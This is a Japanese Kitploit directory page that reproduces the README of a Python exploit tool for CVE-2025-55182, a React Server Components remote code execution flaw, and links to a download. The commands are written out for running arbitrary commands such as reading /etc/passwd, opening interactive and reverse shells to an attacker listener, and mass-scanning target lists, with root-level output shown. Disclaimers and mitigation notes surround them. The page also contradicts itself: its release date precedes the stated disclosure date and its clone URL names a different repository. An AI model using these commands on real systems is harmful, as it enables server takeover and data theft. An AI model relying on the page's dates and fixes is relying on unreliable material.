Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182_liyon — CVE-2025-55182(React Server Components RCE)用のPythonベースのエクスプロイト。インタラクティブシェル、リバースシェル、バッチスキャン、および認可されたセキュリティテスト用のDockerベースの脆弱環境を備えています。 | Kitploit
ツール/GitHubGitHub/hujiaozhuzhu/cve-2025-55182_liyon
脆弱性スキャナーペイロード生成エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育レッドチーミング
リモートアクセスツール
GitHubhujiaozhuzhu/cve-2025-55182_liyon

CVE-2025-55182_liyon

CVE-2025-55182(React Server Components RCE)用のPythonベースのエクスプロイト。インタラクティブシェル、リバースシェル、バッチスキャン、および認可されたセキュリティテスト用のDockerベースの脆弱環境を備えています。

リポジトリを見る
35ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 - React Server Components RCE

⚠️ 法律声明: このツールは、セキュリティ研究、許可された侵入テスト、および教育目的のみを対象としています。明示的な許可なしにこのツールを対象システムに使用することは違法であり非倫理的です。

📋 概要

CVE-2025-55182 は、React Server Components (RSC) における重要なリモートコード実行 (RCE) 脆弱性であり、認証を受けていない攻撃者が悪意のある JavaScript のデシリアライゼーションを通じてサーバー上で任意のコードを実行することを可能にします。

🎯 脆弱性の詳細

属性値
CVE IDCVE-2025-55182
CVSS スコア9.8 (クリティカル)
攻撃ベクトルネットワーク
攻撃の複雑さ低
必要な権限なし
ユーザーインタラクションなし
影響高 (機密性、完全性、可用性)
影響を受けるコンポーネントReact Server Components (RSC)
影響を受けるバージョンReact 18.x - 19.x (特定のビルド)
公開日2025年12月3日
CVE エイリアスReact2Shell

🔍 技術詳細

根本原因: React Server Components は、RSC ペイロードを処理する際にユーザー提供の JavaScript オブジェクトを不適切にデシリアライズし、攻撃者がサーバー上で実行される悪意のあるコードを注入することを可能にします。

攻撃ベクトル: HTTP リクエスト内の悪意のある RSC ペイロード 影響: 認証なしのリモートコード実行、サーバー乗っ取り、データ漏洩

🚀 機能

  • ✅ インタラクティブシェルを備えた単一ファイルの Python エクスプロイトツール
  • ✅ 自動脆弱性検出
  • ✅ マルチスレッドによるバッチスキャン
  • ✅ Docker ベースの脆弱な React 環境
  • ✅ 複数のペイロードタイプをサポート
  • ✅ 詳細なログ記録とエラーハンドリング
  • ✅ リバースシェル確立
  • ✅ Base64 ペイロードエンコード

📦 インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/hujiaozhuzhu/gju.git
cd gju

# 依存関係をインストール
pip install -r requirements.txt

🎯 使用方法

クイックスタート

root@kitploit:~
# 依存関係をインストール
pip install requests

# 脆弱なターゲット上でコマンドを実行
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 -c "whoami"

# インタラクティブシェルモード
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 --shell

高度なオプション

root@kitploit:~
# カスタムコマンド
python exploit/cve_2025_55182.py -u http://target.com -c "cat /etc/passwd"

# カスタム IP/ポートを使用したリバースシェル
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444

# バッチスキャン
python exploit/batch_scanner.py -f targets.txt

# 詳細モード
python exploit/cve_2025_55182.py -u http://target.com -v

# カスタム User-Agent
python exploit/cve_2025_55182.py -u http://target.com --ua "Mozilla/5.0"

🏗️ ターゲット環境のセットアップ

Docker を使用 (推奨)

root@kitploit:~
cd target
docker-compose up -d

手動セットアップ

root@kitploit:~
cd target
npm install
npm run dev

脆弱なアプリケーションにアクセス: http://localhost:3000

📊 攻撃シナリオ

シナリオ 1: コマンド実行

脆弱なサーバー上で単一のコマンドを実行:

root@kitploit:~
python exploit/cve_2025_55182.py -u http://target.com -c "id"

期待される出力:

root@kitploit:~
[+] 脆弱性検出成功: React Server Components RCE
[+] 実行コマンド: id
[+] 応答:
uid=0(root) gid=0(root) groups=0(root)

シナリオ 2: インタラクティブシェル

脆弱なサーバー上でインタラクティブシェルを取得:

root@kitploit:~
python exploit/cve_2025_55182.py -u http://target.com --shell

機能:

  • Tab 補完
  • コマンド履歴
  • 複数のシェルセッション
  • ファイルアップロード/ダウンロード

シナリオ 3: リバースシェル

リバースシェル接続を確立:

root@kitploit:~
# 攻撃マシン上で
nc -lvnp 4444

# エクスプロイトツールを実行
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444

シナリオ 4: バッチスキャン

複数のターゲットをスキャン:

root@kitploit:~
# ターゲットファイルを作成
cat > targets.txt << EOF
http://192.168.1.10:3000
http://192.168.1.11:3000
http://192.168.1.12:3000
EOF

# バッチスキャナーを実行
python exploit/batch_scanner.py -f targets.txt

🛡️ 緩和と防御

即時対応

  1. React のアップグレード

    root@kitploit:~
    npm install react@latest
    # 修正バージョンにアップグレード
    
  2. RSC リクエストのブロック

    root@kitploit:~
    // 一時的に RSC を無効化
    const config = {
      enableRSC: false
    }
    
  3. WAF ルール

    • RSC パターンを含むリクエストをブロック
    • 不審な JavaScript ペイロードを監視
    • RSC エンドポイントにレート制限を実装

長期的な修正

  • RSC ペイロードの入力検証を実装
  • サンドボックス化された JavaScript 実行を使用
  • 定期的なセキュリティ監査
  • 許可されていない RSC アクセスの監視

📚 ドキュメント

  • 脆弱性分析 - 技術的な詳細分析
  • 使用ガイド - 完全な使用説明
  • 防御と修正 - セキュリティ強化

🧪 テスト

手動テスト

root@kitploit:~
# 脆弱な環境をセットアップ
cd target && docker-compose up -d

# 脆弱性をテスト
python exploit/cve_2025_55182.py -u http://localhost:3000 -c "echo 'CVE-2025-55182 RCE confirmed'"

自動テスト

root@kitploit:~
# テストスイートを実行
python tests/test_exploit.py

🔬 研究参考

  • CVE-2025-55182 NVD エントリ
  • React セキュリティ勧告
  • Wiz Research ブログ
  • Project Zero 分析

📝 変更履歴

v1.0.0 (2025-04-02)

  • 初期リリース
  • 単一ターゲット RCE エクスプロイト
  • インタラクティブシェルモード
  • リバースシェルサポート
  • バッチスキャン
  • Docker 脆弱な環境
  • 包括的なドキュメント

🎓 教育目的

このツールは以下を示します:

  • React における RCE 脆弱性の仕組み
  • 適切な脆弱性開発の実践
  • セキュリティ評価手法
  • 倫理的ハッキングの原則

👥 貢献者

  • セキュリティ研究者 - 初期実装

📄 ライセンス

このプロジェクトは MIT ライセンスの下で提供されています - 詳細は LICENSE ファイルを参照してください。

⚠️ 法律および倫理に関する声明

重要: このツールは教育および許可されたセキュリティテスト目的専用です。

法的要件

  • あなたが所有するか、明示的な許可を得たテストシステムでのみ使用すること
  • すべての適用される法律および規制を遵守すること
  • 脆弱性をベンダーに責任を持って報告すること
  • 責任ある開示ガイドラインに従うこと

禁止行為

  • コンピュータシステムへの不正アクセス
  • 許可なくシステムを標的にすること
  • 悪意のある目的での脆弱性の使用
  • データの漏洩または破壊

法的影響

  • 不正アクセスに対する刑事告訴
  • 損害に対する民事責任
  • 潜在的な禁固刑
  • 職業上の結果

このツールを使用することにより、以下に同意するものとします:

  • すべての現地および国際法を遵守すること
  • 許可されたセキュリティテストのみに使用すること
  • 発見した脆弱性を責任を持って報告すること
  • 悪意のあるまたは違法な活動に使用しないこと

📞 脆弱性の報告

本番システムでこの脆弱性を発見した場合:

  1. ベンダーへの報告

    • React チーム: [email protected]
    • 責任ある開示に従うこと
  2. CVE 割り当て

    • NIST NVD に提出
    • 開示スケジュールに従うこと
  3. セキュリティコミュニティ

    • 発見事項を共有する (パッチ適用後)
    • セキュリティ知識に貢献する

覚えておいてください: セキュリティ研究は常に倫理的かつ合法的であるべきです。あなたのスキルを使ってインターネットをより安全にしましょう! 🛡️

ツールをダウンロード